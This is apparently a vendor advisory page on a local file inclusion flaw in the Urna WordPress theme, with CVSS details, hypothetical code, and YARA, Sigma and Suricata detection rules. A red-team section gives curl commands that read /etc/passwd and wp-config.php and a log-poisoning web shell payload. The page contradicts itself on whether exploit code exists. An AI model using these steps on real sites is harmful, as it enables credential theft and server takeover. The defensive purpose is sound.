CVE-2025-67982
Executive Summary
CVE-2025-67982 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Urna WordPress theme by Thembay, up to and including version 2.5.12. The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., wp-config.php), source code leakage, and potentially remote code execution if combined with file upload capabilities. The vulnerability is classified as WordPress ecosystem issue and does not involve Apache or Nginx misconfiguration. No public exploit code or patch is currently available, making proactive detection and mitigation essential.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Users who installed the theme via the WordPress admin panel or manual upload are at risk. The supply chain risk is elevated due to the lack of a vendor patch; users must rely on custom mitigations or theme replacement.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The high confidentiality impact reflects the ability to read arbitrary files, including database credentials and sensitive configuration data. The lack of integrity or availability impact limits direct system compromise, but combined with other vulnerabilities, it can lead to full server takeover.
Deep Dive & Mechanics
The vulnerability exists in the Urna theme's PHP code, likely in a file that handles template loading or dynamic includes. The theme fails to sanitize user-supplied input (e.g., via $_GET['file'] or $_POST['file']) before passing it to PHP functions like include() or require(). An attacker can manipulate the filename parameter to traverse directories and include arbitrary files.
Example vulnerable code pattern:
$file = $_GET['file'];
include("templates/" . $file . ".php");
By supplying ../../../../etc/passwd%00 (null byte injection) or ../../../../wp-config.php, the attacker can read sensitive files. Modern PHP versions may mitigate null byte injection, but directory traversal remains effective.
Attack flow:
- Attacker identifies a parameter (e.g.,
page,template,file) in the theme's URL. - Attacker sends a crafted request:
http://target.com/?page=../../../../etc/passwd - The server includes the file, outputting its contents in the response.
Vulnerable vs. Patched Code
Vulnerable code (Urna <= 2.5.12):
// In a template loader function
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );
Patched code (hypothetical fix):
$allowed_templates = array('home', 'single', 'page');
$template = $_GET['template'];
if ( in_array( $template, $allowed_templates ) ) {
include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
// Default template
include( get_template_directory() . '/templates/page.php' );
}
The fix uses a whitelist approach, restricting includes to predefined safe values. Alternatively, realpath validation can be used:
$base = realpath( get_template_directory() . '/templates/' );
$file = realpath( $base . '/' . basename( $_GET['template'] ) . '.php' );
if ( strpos( $file, $base ) === 0 && file_exists( $file ) ) {
include( $file );
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running WordPress with Urna theme <= 2.5.12
- No public exploit code available; manual exploitation required
Step 1: Identify vulnerable parameter
Use a web fuzzer (e.g., Burp Suite, ffuf) to test common parameters like file, page, template, include, load.
Step 2: Test for LFI
curl -v "http://target.com/?file=../../../../etc/passwd"
If the response contains /root:x:0:0:root:/root:/bin/bash, the vulnerability is confirmed.
Step 3: Read sensitive files
curl -v "http://target.com/?file=../../../../wp-config.php"
Extract database credentials and salts.
Step 4: Attempt RCE via log poisoning (if applicable) If the server logs user agents, inject PHP code:
curl -v -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
Then include the log file:
curl -v "http://target.com/?file=../../../../var/log/apache2/access.log&cmd=id"
Blue Team (Detection & Hardening)
Detection:
- Monitor for directory traversal patterns in HTTP requests (e.g.,
../,%2e%2e/) - Alert on attempts to include sensitive files (
wp-config.php,/etc/passwd) - Use WAF rules to block
fileparameters containing../
Hardening:
- Disable PHP
allow_url_includeandallow_url_fopenif not needed - Apply input validation and whitelisting on all include parameters
- Use a Web Application Firewall (WAF) with LFI rules
- Replace the Urna theme with a patched alternative
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
../or%2e%2e/in query parameters - Requests to
wp-content/themes/urna/with suspiciousfileortemplateparameters - Outbound connections from the web server to unknown IPs (if RCE achieved)
File System IOCs:
- Unexpected files in
/tmp/or web-accessible directories - Modified
.htaccessfiles - Presence of webshells (e.g.,
cmd.php,shell.php)
Log IOCs:
- Apache/Nginx access logs showing directory traversal attempts
- PHP error logs with
include()failures for non-existent paths
Detection Engineering
YARA Rule
rule CVE_2025_67982_LFI_Urna {
meta:
description = "Detects LFI attempts targeting Urna theme <= 2.5.12"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67982"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$traversal3 = "%2e%2e/"
$sensitive1 = "wp-config.php"
$sensitive2 = "/etc/passwd"
$sensitive3 = "/etc/shadow"
$param1 = "file="
$param2 = "template="
$param3 = "page="
condition:
any of ($param*) and any of ($traversal*) and any of ($sensitive*)
}
Sigma Rule
title: CVE-2025-67982 LFI Attempt on Urna Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with directory traversal patterns targeting Urna theme
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- '../'
- '..\\'
- '%2e%2e/'
cs-uri-query|contains:
- 'file='
- 'template='
- 'page='
condition: selection
falsepositives:
- Legitimate use of relative paths in some plugins
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-67982 LFI Attempt on Urna Theme";
flow:to_server,established;
content:"../"; http_uri;
content:"file="; http_uri;
sid:1000001;
rev:1;
reference:cve,2025-67982;
classtype:attempted-recon;
)
Remediation & Mitigation
Immediate Actions:
- Replace the Urna theme with a patched alternative or a different theme entirely.
- Apply virtual patching via WAF rules to block LFI patterns.
- Disable PHP
allow_url_includeinphp.inito prevent remote file inclusion.
Long-term Fix:
- The vendor (Thembay) must release a patched version with proper input validation and whitelisting.
- Until then, manually patch the vulnerable code as shown in the "Vulnerable vs. Patched Code" section.
Compensating Controls:
- Implement strict file permissions on sensitive files (e.g.,
wp-config.phpshould be readable only by the web server user). - Use a security plugin (e.g., Wordfence) with LFI detection rules.
- Regularly audit WordPress themes and plugins for known vulnerabilities.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.